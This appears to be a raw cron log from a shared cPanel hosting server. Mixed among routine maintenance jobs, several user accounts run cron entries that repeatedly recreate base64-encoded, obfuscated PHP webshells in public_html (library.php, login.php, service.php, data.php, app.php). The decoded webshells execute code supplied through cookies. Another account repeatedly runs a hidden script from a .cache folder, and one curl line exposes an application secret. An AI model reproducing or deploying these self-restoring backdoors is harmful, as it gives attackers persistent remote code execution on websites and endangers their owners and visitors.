Apr 19 09:33:01 medusa CROND[21217]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:33:01 medusa CROND[21218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:33:01 medusa CROND[21219]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:33:01 medusa CROND[21220]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:33:01 medusa CROND[21221]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:33:01 medusa CROND[21222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:33:01 medusa CROND[21223]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:33:01 medusa CROND[21227]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:33:01 medusa CROND[21229]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:33:01 medusa CROND[21232]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:33:01 medusa CROND[21231]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:34:02 medusa CROND[13597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:34:02 medusa CROND[13598]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:34:02 medusa CROND[13599]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:34:02 medusa CROND[13602]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:34:02 medusa CROND[13605]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:34:02 medusa CROND[13606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:34:02 medusa CROND[13608]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:34:02 medusa CROND[13607]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 09:34:02 medusa CROND[13610]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:34:02 medusa CROND[13611]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:34:02 medusa CROND[13612]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:34:02 medusa CROND[13615]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:34:02 medusa CROND[13616]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:35:01 medusa CROND[5424]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 09:35:01 medusa CROND[5432]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 09:35:01 medusa CROND[5468]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 09:35:01 medusa CROND[5501]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 09:35:01 medusa CROND[5561]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 09:35:01 medusa CROND[5586]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:35:01 medusa CROND[5587]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 09:35:01 medusa CROND[5588]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:35:01 medusa CROND[5590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:35:01 medusa CROND[5591]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 09:35:01 medusa CROND[5589]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:35:01 medusa CROND[5592]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:35:01 medusa CROND[5593]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 09:35:01 medusa CROND[5595]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 09:35:01 medusa CROND[5596]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
